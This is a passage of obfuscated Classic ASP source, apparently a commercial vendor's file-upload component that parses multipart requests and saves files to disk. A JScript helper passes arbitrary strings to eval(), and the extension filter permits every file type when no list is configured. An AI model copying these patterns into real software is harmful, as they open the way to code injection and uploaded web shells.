<%@ CODEPAGE=65001 %>
<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NNNZN,NNNNZ,NNNNN,NZZZZZ,NZZZZN
Set NNNNN=Response:Set NNNNZ=Request:Set NZZZZN=Session:Set NNNZN=Application:Set NZZZZZ=Server
NNNNN.CodePage= (78 * 31 - -62583)
NNNNN.Charset=NNZNNN(ChrW(38) & ChrW(37) & ChrW(117) & ChrW(92) & ChrW(103))
Dim NNZZZZZ
Class NZNNNZN
Private NNZZZZN, NNZZZNZ
Private NNZZZNN, NNZZNZZ, NNZZNZN, NNZZNNZ, NNZZNNN, NNZNZZZ, NNZNZZN, NNZNZNZ, NNZNZNN, NNZNNZZ,NNZNNZN, NNZNNNZ, NNZNNNN, NNNZZZZ
Public Property Let Mode(ByVal value)
NNZNNNN = value
End Property
Public Property Let MaxSize(ByVal value)
NNZZNZZ = value
End Property
Public Property Let NNNZNZ(ByVal value)
NNZZNZN = value
End Property
Public Property Let Exe(ByVal value)
NNZNZZN = LCase(value)
End Property
Public Property Let CharSet(ByVal value)
NNZZZNN = value
End Property
Public Property Get ErrorID()
ErrorID = NNZZNNZ
End Property
Public Property Get NNNNNZ()
NNNNNZ = NNZZZNZ.count
End Property
Public Property Get Description()
Description = NZZNZN(NNZZNNZ)
End Property
Public Property Get NZZZZZZ()
NZZZZZZ = NNZZNNN
End Property
Public Property Get NZZZZZN()
NZZZZZN = NNZNZZZ
End Property
Public Property Get NZZZZNZ()
NZZZZNZ = NNZNZNZ
End Property
Public Property Let NZZZZNN(ByVal value)
NNZNZNN = value
End Property
Public Property Get NZZZNZZ()
NZZZNZZ = NNZNNNZ
End Property
Private Sub Class_Initialize()
set NNZZZZN = NZZZZZ.createobject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(115) & ChrW(58) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(67) & ChrW(74)))
set NNZZZNZ = NZZZZZ.createobject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(115) & ChrW(58) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(67) & ChrW(74)))
Set NNZZZZZ = NZZZZZ.CreateObject(NNZNNN(ChrW(112) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(68) & ChrW(69) & ChrW(67) & ChrW(54) & ChrW(50) & ChrW(62)))
NNZZNNN = NNZNNN(ChrW(-32135) & ChrW(64) & ChrW(24676) & ChrW(64) & ChrW(112) & ChrW(36) & ChrW(33) & ChrW(26075) & ChrW(64) & ChrW(32447) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(31862) & ChrW(64) & ChrW(39) & ChrW(96) & ChrW(95) & ChrW(93) & ChrW(96) & ChrW(95) & ChrW(93) & ChrW(97) & ChrW(97))
NNZZNZZ = - (86 * 95 - 8169)
NNZZNZN = - (86 * 95 - 8169)
NNZZNNZ = - (86 * 95 - 8169)
NNZNZZN = ""
NNZNZZZ = (18 * 44 - 792)
NNZZZNN = NNZNNN(ChrW(70) & ChrW(69) & ChrW(55) & ChrW(92) & ChrW(103))
NNZNZNN=false
NNZNZNZ=NNZNNN(ChrW(112) & ChrW(63) & ChrW(38) & ChrW(65) & ChrW(61) & ChrW(64) & ChrW(50) & ChrW(53))
NZNNZZN "",0,0,""
NNZNNNN = (18 * 44 - 792)
End Sub
Private Sub Class_Terminate()
Dim NNNZZZN
NNZZZZN.RemoveAll()
For each NNNZZZN in NNZZZNZ
NNZZZNZ(NNNZZZN).value=empty
Set NNZZZNZ(NNNZZZN) = Nothing
Next
NNZZZNZ.RemoveAll()
Set NNZZZZN = Nothing
Set NNZZZNZ = Nothing
NNZZZZZ.Close()
Set NNZZZZZ = Nothing
End Sub
Public Sub GetData()
Dim NNNZZNZ
NNNZZNZ = timer()
if NNZNZNN And trim(NNNNZ.querystring(NNZNNN(ChrW(65) & ChrW(67) & ChrW(64) & ChrW(52) & ChrW(54) & ChrW(68) & ChrW(68) & ChrW(58) & ChrW(53))))<>"" then NNZNZNZ=NNNNZ.querystring(NNZNNN(ChrW(65) & ChrW(67) & ChrW(64) & ChrW(52) & ChrW(54) & ChrW(68) & ChrW(68) & ChrW(58) & ChrW(53)))
Dim value, str, NNNZNZZ, NNNZNZN, NNNZNNZ, NNNZNNN, NNNNZZZ,NNNNZZN
Dim TotalBytes,NNNNZNN,NNNNNZZ,NNNNNZN,NNNNNNZ,NNNNNNN,NZZZZZZZ, NZZZZZZN, NZZZZZNZ, NZZZZZNN, formname, FileName, NZZZZNZZ, NZZZZNZN, NewName,localname,NZZZZNNZ,contentType
TotalBytes = NNNNZ.TotalBytes
NNNNZZN = false
If NZZNNN = false Then NNNNZZN = true : NNZZNNZ = (20 * 58 - 1158)
If NNNNZZN Then Exit Sub
If NNZNNNN = 0 Then
NNZNZZZ = (18 * 44 - 792)
NNZZZZZ.Type = (86 * 95 - 8169)
NNZZZZZ.Mode = (94 * 45 - 4227)
NNZZZZZ.Open
NNNNNZZ = (18 * 44 - 792)
NNNNNZN = (62 * 65 - 3006) * (44 * 86 - 3768)
Do While NNNNNZZ < TotalBytes
NNNNNNZ = NNNNNZN
If NNNNNNZ + NNNNNZZ > TotalBytes Then NNNNNNZ = TotalBytes - NNNNNZZ
NNNNNNN = NNNNZ.BinaryRead(NNNNNNZ)
NNZZZZZ.Write NNNNNNN
NNNNNZZ = NNNNNZZ + NNNNNNZ
NZNNZZN NNZNNN(ChrW(70) & ChrW(65) & ChrW(61) & ChrW(64) & ChrW(50) & ChrW(53) & ChrW(58) & ChrW(63) & ChrW(56)),TotalBytes,NNNNNZZ,""
Loop
NZNNZZN NNZNNN(ChrW(70) & ChrW(65) & ChrW(61) & ChrW(64) & ChrW(50) & ChrW(53) & ChrW(54) & ChrW(53)),TotalBytes,NNNNNZZ,""
NNZZZZZ.Position = (18 * 44 - 792)
NNNNZNN = NNZZZZZ.Read
Else
NNNNZNN = NNNNZ.BinaryRead(TotalBytes)
End If
NNNZNZZ = ChrB(13) & ChrB(10)
NNNZNZN = InStrB(1, NNNNZNN, NNNZNZZ)
NNNZNNZ = MidB(NNNNZNN, 1, NNNZNZN - 1)
NNNZNNN = LenB(NNNZNNZ)
NNNNZZZ = NNNZNNN + (20 * 58 - 1158)
Do
NZZZZZZZ = InStrB(NNNNZZZ, NNNNZNN, NNNZNZZ & NNNZNZZ)
NZZZZZZN = MidB(NNNNZNN, NNNNZZZ, NZZZZZZZ - NNNNZZZ)
str = NZZNZZ(NZZZZZZN)
NZZZZZNZ = InStr(str, NNZNNN(ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(108) & ChrW(81))) + (70 * 66 - 4614)
NZZZZZNN = InStr(NZZZZZNZ, str, NNZNNN(ChrW(81)))
formname = LCase(Mid(str, NZZZZZNZ, NZZZZZNN - NZZZZZNZ))
NZZZZNZN = InStrB(NZZZZZZZ + 3, NNNNZNN, NNNZNNZ)
If InStr(str, NNZNNN(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(108) & ChrW(81))) > 0 Then
NZZZZZNZ = InStr(str, NNZNNN(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(108) & ChrW(81))) + (31 * 17 - 517)
NZZZZZNN = InStr(NZZZZZNZ, str, NNZNNN(ChrW(81)))
NZZZZNNZ=instr(NZZZZZNN,lcase(str),NNZNNN(ChrW(52) & ChrW(64) & ChrW(63) & ChrW(69) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(92) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54)))
contentType=trim(mid(str,NZZZZNNZ+13))
FileName = Mid(str, NZZZZZNZ, NZZZZZNN - NZZZZZNZ)
If Trim(FileName) <> "" Then
LocalName = FileName
FileName = Replace(FileName, NNZNNN(ChrW(94)), NNZNNN(ChrW(45)))
FileName = Mid(FileName, InStrRev(FileName, NNZNNN(ChrW(45))) + 1)
If instr(FileName,NNZNNN(ChrW(93)))>0 Then
NZZZZNZZ = Split(FileName, NNZNNN(ChrW(93)))(UBound(Split(FileName, NNZNNN(ChrW(93)))))
else
NZZZZNZZ = ""
End If
If NNZNZZN <> "" Then
If NZZZNZ(NZZZZNZZ) = True Then
NNZZNNZ = (94 * 45 - 4227)
NNZNNZZ = NZZZZNZZ
NNNNZNN = empty
Exit Sub
End If
End If
NewName = NZZNNZ()
NewName = NewName & NNZNNN(ChrW(93)) & NZZZZNZZ
NNZNZZZ = NNZNZZZ + NZZZZNZN - NZZZZZZZ - (70 * 66 - 4614)
If NNZZNZN > 0 And (NZZZZNZN - NZZZZZZZ - 6) > NNZZNZN Then
NNZZNNZ = (80 * 62 - 4955)
NNNNZNN = empty
Exit Sub
End If
If NNZZNZZ > 0 And NNZNZZZ > NNZZNZZ Then
NNZZNNZ = (86 * 95 - 8169)
NNNNZNN = empty
Exit Sub
End If
If NNZZZNZ.Exists(formname) Then
NNZZNNZ = (104 * 42 - 4364)
NNNNZNN = empty
Exit Sub
Else
Dim NZZZZNNN:set NZZZZNNN= new NZNNNNZ
NZZZZNNN.ContentType=contentType
NZZZZNNN.Size = (NZZZZNZN - NZZZZZZZ - 6)
NZZZZNNN.Position = (NZZZZZZZ + 3)
NZZZZNNN.FormName = formname
NZZZZNNN.NewName = NewName
NZZZZNNN.FileName = FileName
NZZZZNNN.LocalName = FileName
NZZZZNNN.extend=split(NewName,NNZNNN(ChrW(93)))(ubound(split(NewName,NNZNNN(ChrW(93)))))
NNZZZNZ.Add formname, NZZZZNNN
Set NZZZZNNN = Nothing
End If
End If
Else
value = MidB(NNNNZNN, NZZZZZZZ + 4, NZZZZNZN - NZZZZZZZ - 6)
If NNZZZZN.Exists(formname) Then
NNZZZZN(formname) = NNZZZZN(formname) & NNZNNN(ChrW(91)) & NZZNZZ(value)
Else
NNZZZZN.Add formname, NZZNZZ(value)
End If
End If
NNNNZZZ = NZZZZNZN + (20 * 58 - 1158) + NNNZNNN
Loop Until (NNNNZZZ + 2) >= LenB(NNNNZNN)
NNZZNNZ = (18 * 44 - 792)
NNNNZNN = empty
NNZNNNZ = FormatNumber((timer-NNNZZNZ)*1000,2)
End Sub
Public sub NZNNZZN(NNZNZNNN,NNZNNZZZ,NNZNNZZN,NNZNNZNZ)
NNNZN.lock()
NNNZN(NNZNZNZ)=NNZNNN(ChrW(76) & ChrW(120) & ChrW(115) & ChrW(105) & ChrW(81)) & NNZNZNZ & NNZNNN(ChrW(81) & ChrW(91) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(65) & ChrW(105) & ChrW(81)) & NNZNZNNN & NNZNNN(ChrW(81) & ChrW(91) & ChrW(69) & ChrW(64) & ChrW(69) & ChrW(50) & ChrW(61) & ChrW(105)) & NNZNNZZZ & NNZNNN(ChrW(91) & ChrW(63) & ChrW(64) & ChrW(72) & ChrW(105)) & NNZNNZZN & NNZNNN(ChrW(91) & ChrW(53) & ChrW(54) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(105) & ChrW(81)) & NNZNNZNZ & NNZNNN(ChrW(81) & ChrW(91) & ChrW(53) & ChrW(69) & ChrW(105) & ChrW(81)) & now() & NNZNNN(ChrW(81) & ChrW(78))
NNNZN.unlock()
end sub
Private Function NZZZNZ(ByVal NNZNNZNN)
Dim NZZZNZZZ: NZZZNZZZ = True
If NNZNZZN=NNZNNN(ChrW(89)) then
NZZZNZZZ=false
elseIf InStr(1, NNZNZZN, NNZNNN(ChrW(77))) > 0 Then
Dim NZZZNZZN: NZZZNZZN = Split(NNZNZZN, NNZNNN(ChrW(77)))
Dim NZZZNZNZ: NZZZNZNZ = (18 * 44 - 792)
For NZZZNZNZ = 0 To UBound(NZZZNZZN)
If LCase(NNZNNZNN) = NZZZNZZN(NZZZNZNZ) Then
NZZZNZZZ = False
Exit For
End If
Next
Else
If NNZNZZN = LCase(NNZNNZNN) Then
NZZZNZZZ = False
End If
End If
NZZZNZ = NZZZNZZZ
End Function
Public Function NZZZNN(ByVal Size)
If Size < 1024 Then
NZZZNN = FormatNumber(Size, 2) & NNZNNN(ChrW(113))
ElseIf Size >= 1024 And Size < 1048576 Then
NZZZNN = FormatNumber(Size / 1024, 2) & NNZNNN(ChrW(122) & ChrW(113))
ElseIf Size >= 1048576 Then
NZZZNN = FormatNumber((Size / 1024) / 1024, 2) & NNZNNN(ChrW(124) & ChrW(113))
End If
End Function
Private Function NZZNZZ(ByVal NNZNNNZZ)
If LenB(NNZNNNZZ) = 0 Then
NZZNZZ = ""
Exit Function
End If
Dim NZZZNZNN, NZZZNNZZ
Set NZZZNZNN =NZZZZZ.createobject(NNZNNN(ChrW(112) & ChrW(115) & ChrW(126) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(36) & ChrW(69) & ChrW(67) & ChrW(54) & ChrW(50) & ChrW(62)))
NZZZNZNN.Type = (20 * 58 - 1158)
NZZZNZNN.Mode = (94 * 45 - 4227)
NZZZNZNN.Open
NZZZNZNN.WriteText NNZNNNZZ
NZZZNZNN.Position = (18 * 44 - 792)
NZZZNZNN.CharSet = NNZZZNN
NZZZNZNN.Position = (20 * 58 - 1158)
NZZZNNZZ = NZZZNZNN.ReadText()
NZZZNZNN.Close
Set NZZZNZNN = Nothing
NZZNZZ = NZZZNNZZ
End Function
Private Function NZZNZN(ByVal Num)
Select Case Num
Case 0
NZZNZN = NNZNNN(ChrW(25963) & ChrW(64) & ChrW(25449) & ChrW(64) & ChrW(22783) & ChrW(64) & ChrW(29697) & ChrW(64) & ChrW(23431) & ChrW(64) & ChrW(27600) & ChrW(64) & ChrW(80))
Case 1
NZZNZN = NNZNNN(ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(25963) & ChrW(64) & ChrW(25449) & ChrW(64) & ChrW(-29312) & ChrW(64) & ChrW(-28734) & ChrW(64)) & NZZZNN(NNZZNZZ) & NNZNNN(ChrW(-27061) & ChrW(64) & ChrW(21041) & ChrW(64) & ChrW(80) & ChrW(21482) & ChrW(64) & ChrW(-29767) & ChrW(64) & ChrW(32617) & ChrW(64) & ChrW(124) & ChrW(50) & ChrW(73) & ChrW(36) & ChrW(58) & ChrW(75) & ChrW(54) & ChrW(23641) & ChrW(64) & ChrW(24610) & ChrW(64) & ChrW(26464) & ChrW(64) & ChrW(25908) & ChrW(64) & ChrW(21459) & ChrW(64) & ChrW(-27061) & ChrW(64) & ChrW(21041) & ChrW(64) & ChrW(80))
Case 2
NZZNZN = NNZNNN(ChrW(26405) & ChrW(64) & ChrW(-29767) & ChrW(64) & ChrW(32617) & ChrW(64) & ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(-30621) & ChrW(64) & ChrW(21328) & ChrW(64) & ChrW(54) & ChrW(63) & ChrW(52) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(23641) & ChrW(64) & ChrW(24610) & ChrW(64) & ChrW(20021) & ChrW(64) & ChrW(62) & ChrW(70) & ChrW(61) & ChrW(69) & ChrW(58) & ChrW(65) & ChrW(50) & ChrW(67) & ChrW(69) & ChrW(94) & ChrW(55) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(92) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(25105) & ChrW(64) & ChrW(-32768) & ChrW(64) & ChrW(26405) & ChrW(64) & ChrW(-29767) & ChrW(64) & ChrW(32617) & ChrW(64) & ChrW(62) & ChrW(54) & ChrW(69) & ChrW(57) & ChrW(64) & ChrW(53) & ChrW(23641) & ChrW(64) & ChrW(24610) & ChrW(64) & ChrW(20021) & ChrW(64) & ChrW(33) & ChrW(64) & ChrW(68) & ChrW(69) & ChrW(91) & ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(26075) & ChrW(64) & ChrW(25923) & ChrW(64) & ChrW(80))
Case 3
NZZNZN = NNZNNN(ChrW(21542) & ChrW(64) & ChrW(26372) & ChrW(64) & ChrW(-26791) & ChrW(64) & ChrW(27856) & ChrW(64) & ChrW(25188) & ChrW(64) & ChrW(23632) & ChrW(64) & ChrW(21512) & ChrW(64) & ChrW(87)) & NNZNNZZ & NNZNNN(ChrW(88) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(80) & ChrW(21477) & ChrW(64) & ChrW(-32520) & ChrW(64) & ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(25188) & ChrW(64) & ChrW(23632) & ChrW(64) & ChrW(21512) & ChrW(64) & ChrW(20021) & ChrW(64)) & Replace(NNZNZZN, NNZNNN(ChrW(77)), NNZNNN(ChrW(91))) & NNZNNN(ChrW(30335) & ChrW(64) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64))
Case 4
NZZNZN = NNZNNN(ChrW(23540) & ChrW(64) & ChrW(19976) & ChrW(64) & ChrW(-29326) & ChrW(64) & ChrW(91) & ChrW(31238) & ChrW(64) & ChrW(24202) & ChrW(64) & ChrW(19976) & ChrW(64) & ChrW(20796) & ChrW(64) & ChrW(-29773) & ChrW(64) & ChrW(20346) & ChrW(64) & ChrW(29987) & ChrW(64) & ChrW(30451) & ChrW(64) & ChrW(21511) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(23641) & ChrW(64) & ChrW(24610) & ChrW(64) & ChrW(30335) & ChrW(64) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(22490) & ChrW(64) & ChrW(80))
Case 5
NZZNZN = NNZNNN(ChrW(21328) & ChrW(64) & ChrW(20005) & ChrW(64) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(22818) & ChrW(64) & ChrW(23562) & ChrW(64) & ChrW(-29312) & ChrW(64) & ChrW(20981) & ChrW(64)) & NZZZNN(NNZZNZN) & NNZNNN(ChrW(30335) & ChrW(64) & ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(-27061) & ChrW(64) & ChrW(21041) & ChrW(64) & ChrW(80))
End Select
End Function
Private Function NZZNNZ()
Dim NZZZNNZN, NZZZNNNZ, NZZZNNNN, NZZNZZZZ, NZZNZZZN, NZZNZZNZ, NZZNZZNN
Randomize
NZZZNNZN = Year(Now)
NZZZNNNZ = right("0" & Month(Now),2)
NZZZNNNN = right("0" & Day(Now),2)
NZZNZZZZ = right("0" & Hour(Now),2)
NZZNZZZN =right("0" & Minute(Now),2)
NZZNZZNZ = right("0" & Second(Now),2)
NZZNZZNN = (18 * 44 - 792)
NZZNZZNN = CInt(Rnd() * 10000)
NZZNZZNZ = right("0000" & NZZNZZNN,4)
NZZNNZ = NZZZNNZN & NZZZNNNZ & NZZZNNNN & NZZNZZZZ & NZZNZZZN & NZZNZZNZ & NZZNZZNN
End Function
Private Function NZZNNN()
Dim ContentType, NZZNZNZZ, NZZNZNZN,NZZNZNNZ
NZZNZNNZ=trim(LCase(NNNNZ.ServerVariables(NNZNNN(ChrW(35) & ChrW(116) & ChrW(34) & ChrW(38) & ChrW(116) & ChrW(36) & ChrW(37) & ChrW(48) & ChrW(124) & ChrW(116) & ChrW(37) & ChrW(119) & ChrW(126) & ChrW(115)))))
if NZZNZNNZ="" or NZZNZNNZ<>NNZNNN(ChrW(65) & ChrW(64) & ChrW(68) & ChrW(69)) then
NZZNNN = False
exit function
end if
ContentType = LCase(NNNNZ.ServerVariables(NNZNNN(ChrW(119) & ChrW(37) & ChrW(37) & ChrW(33) & ChrW(48) & ChrW(114) & ChrW(126) & ChrW(125) & ChrW(37) & ChrW(116) & ChrW(125) & ChrW(37) & ChrW(48) & ChrW(37) & ChrW(42) & ChrW(33) & ChrW(116))))
NZZNZNZZ = Split(ContentType, NNZNNN(ChrW(106)))
if ubound(NZZNZNZZ)>=0 then
If Trim(NZZNZNZZ(0)) = NNZNNN(ChrW(62) & ChrW(70) & ChrW(61) & ChrW(69) & ChrW(58) & ChrW(65) & ChrW(50) & ChrW(67) & ChrW(69) & ChrW(94) & ChrW(55) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(92) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50)) Then
NZZNNN = True
NNZNNZN = Split(ContentType,NNZNNN(ChrW(51) & ChrW(64) & ChrW(70) & ChrW(63) & ChrW(53) & ChrW(50) & ChrW(67) & ChrW(74) & ChrW(108)))(1)
Else
NZZNNN = False
End If
else
NZZNNN = False
end if
End Function
Public Function NZNZZZ(ByVal formname)
If trim(formname) = "-1" Then
Set NZNZZZ = NNZZZZN
Else
If NNZZZZN.Exists(LCase(formname)) Then
NZNZZZ = NNZZZZN(LCase(formname))
Else
NZNZZZ = ""
End If
End If
End Function
Public Function Files(ByVal formname)
If trim(formname) = "-1" Then
Set Files = NNZZZNZ
Else
If NNZZZNZ.Exists(LCase(formname)) Then
Set Files = NNZZZNZ(LCase(formname))
Else
Set Files = Nothing
End If
End If
End Function
End Class
Class NZNNNNZ
Private NZZNZNNN , NZZNNZZZ , NZZNNZZN , NZZNNZNZ , NZZNNZNN , NZZNNNZZ ,NZZNNNZN,NZZNNNNZ
Private NZZNNNNN , NZNZZZZZ , NZNZZZZN , NZNZZZNZ ,NZNZZZNN, NZNZZNZZ
Public Property Let Extend(ByVal vData )
NZNZZZNZ = vData
End Property
Public Property Get Extend()
Extend = NZNZZZNZ
End Property
Public Property Get NZZZNNZ()
NZZZNNZ = NZNZZZNN
End Property
Public Property Get NZZZNNN()
NZZZNNN = NZNZZNZZ
End Property
Public Property Let NZZNZZZ(ByVal vData )
NZNZZZZN = vData
End Property
Public Property Get NZZNZZZ()
NZZNZZZ = NZNZZZZN
End Property
Public Property Get Exception()
Exception = NZZNNNZN
End Property
Public Property Let Value(ByVal vData )
NZNZZZZZ = vData
End Property
Public Property Get Value()
Value = NZNZZZZZ
End Property
Public Property Let Size(ByVal vData )
NZZNNNNN = vData
End Property
Public Property Get Size()
Size = NZZNNNNN
End Property
Public Property Let Position(ByVal vData )
NZZNNNNZ = vData
End Property
Public Property Get Position()
Size = NZZNNNNZ
End Property
Public Property Let ContentType(ByVal vData )
NZZNNNZZ = vData
End Property
Public Property Get ContentType()
ContentType = NZZNNNZZ
End Property
Public Property Let NZZNNNZ(ByVal vData )
NZZNNZNN = vData
End Property
Public Property Get NZZNNNZ()
NZZNNNZ = NZZNNZNN
End Property
Public Property Let FileName(ByVal vData )
NZZNNZNZ = vData
End Property
Public Property Get FileName()
FileName = NZZNNZNZ
End Property
Public Property Let LocalName(ByVal vData )
NZZNNZZN = vData
End Property
Public Property Get LocalName()
LocalName = NZZNNZZN
End Property
Public Property Let NewName(ByVal vData )
NZZNNZZZ = vData
End Property
Public Property Get NewName()
NewName = NZZNNZZZ
End Property
Public Property Let FormName(ByVal vData )
NZZNZNNN = vData
End Property
Public Property Get FormName()
FormName = NZZNZNNN
End Property
Private Sub Class_Initialize()
NZZNNNNN = (18 * 44 - 792)
NZNZZZNN = (18 * 44 - 792)
NZNZZNZZ = (18 * 44 - 792)
End Sub
Public Function SaveToFile(ByVal NZZNZZZ , byval tOption, byval OverWrite)
On Error Resume Next
Dim NZNZZNZN
NZNZZNZN = (InStr(NZZNZZZ, NNZNNN(ChrW(105))) = 2)
If Not NZNZZNZN Then NZZNZZZ = NZZZZZ.MapPath(NZZNZZZ)
NZZNZZZ = Replace(NZZNZZZ, NNZNNN(ChrW(94)), NNZNNN(ChrW(45)))
If Mid(NZZNZZZ, Len(NZZNZZZ) - 1) <> NNZNNN(ChrW(45)) Then NZZNZZZ = NZZNZZZ + NNZNNN(ChrW(45))
CreateFolder NZZNZZZ
NZNZZZZN = NZZNZZZ
If tOption = 1 Then
NZZNZZZ = NZZNZZZ & NZZNNZZN: NZZNNZNZ = NZZNNZZN
Else
If tOption = -1 And NZZNNZNN <> "" Then
NZZNZZZ = NZZNZZZ & NZZNNZNN & NNZNNN(ChrW(93)) & NZNZZZNZ: NZZNNZNZ = NZZNNZNN & NNZNNN(ChrW(93)) & NZNZZZNZ
Else
NZZNZZZ = NZZNZZZ & NZZNNZZZ: NZZNNZNZ = NZZNNZZZ
End If
End If
If Not OverWrite Then
NZZNZZZ = NZNNZN()
End If
Dim NZNZZNNZ
Set NZNZZNNZ =NZZZZZ.CreateObject(NNZNNN(ChrW(112) & ChrW(115) & ChrW(126) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(36) & ChrW(69) & ChrW(67) & ChrW(54) & ChrW(50) & ChrW(62)))
NZNZZNNZ.Mode = (94 * 45 - 4227)
NZNZZNNZ.Type = (86 * 95 - 8169)
NZNZZNNZ.Open
NNZZZZZ.Position = NZZNNNNZ
NNZZZZZ.copyto NZNZZNNZ,NZZNNNNN
NZNZZNNZ.SaveToFile NZZNZZZ, 2
NZNZZNNZ.Close
Set NZNZZNNZ = Nothing
If Not Err Then
SaveToFile = false
Else
SaveToFile = true
NZZNNNZN=Err.Description
End If
End Function
Public Function NZNZNN()
NNZZZZZ.Position = NZZNNNNZ
NZNZNN = NNZZZZZ.read(NZZNNNNN)
End Function
Private Function CreateFolder(ByVal NNZNNNNZ )
Dim NZNZZNNN
Set NZNZZNNN = NZZZZZ.CreateObject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(36) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(126) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
Dim NZNZNZZZ
NZNZNZZZ = NZNZZNNN.GetParentFolderName(NNZNNNNZ)
If NZNZNZZZ = "" Then Exit Function
If Not NZNZZNNN.FolderExists(NZNZNZZZ) Then CreateFolder (NZNZNZZZ)
If Not NZNZZNNN.FolderExists(NNZNNNNZ) Then NZNZZNNN.CreateFolder (NNZNNNNZ)
Set NZNZZNNN = Nothing
End Function
Private Function NZNNZN()
Dim NZNZZNNN, NZNZNZZN , NZNZNZNZ , NZZZNZNZ
NZZZNZNZ = (18 * 44 - 792)
Set NZNZZNNN = NZZZZZ.CreateObject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(36) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(126) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NZNZNZZN = NZNZZZZN & NZZNNZNZ
NZNZNZNZ = Mid(NZZNNZNZ, 1, InStr(NZZNNZNZ, NNZNNN(ChrW(93))) - 1)
Do While NZNZZNNN.FileExists(NZNZNZZN)
NZNZNZZN = NZNZZZZN & NZNZNZNZ & NNZNNN(ChrW(87)) & NZZZNZNZ & NNZNNN(ChrW(88) & ChrW(93)) & NZNZZZNZ
NZZNNZNZ = NZNZNZNZ & NNZNNN(ChrW(87)) & NZZZNZNZ & NNZNNN(ChrW(88) & ChrW(93)) & NZNZZZNZ
NZZZNZNZ = NZZZNZNZ + (86 * 95 - 8169)
Loop
Set NZNZZNNN = Nothing
NZNNZN = NZNZNZZN
End Function
End Class
%>
<script language="jscript" runat="server">
	function NZNNNZ(str){
		eval("var _temp=(" + str + ");");
		return _temp;
	}
</script>
<%
Const NNZNZZNZ	=0
Const NNZNZZNN	=1
Class NZNNNNN
Public Collection
Public Count
Public NZNZNNZN
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(115) & ChrW(58) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(67) & ChrW(74)))
NZNZNNZN = True
Count = (18 * 44 - 792)
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get NZNZZNN
NZNZZNN = Count
Count = Count + (86 * 95 - 8169)
End Property
Public Property Let NZNZNZZ(NNZNNNNN, NNZNZZZZ)
If IsNull(NNZNNNNN) Then NNZNNNNN = NZNZZNN
Collection(NNZNNNNN) = NNZNZZZZ
End Property
Public Property Set NZNZNZZ(NNZNNNNN, NNZNZZZZ)
If IsNull(NNZNNNNN) Then NNZNNNNN = NZNZZNN
If TypeName(NNZNZZZZ) <> NNZNNN(ChrW(59) & ChrW(68) & ChrW(114) & ChrW(64) & ChrW(67) & ChrW(54)) Then
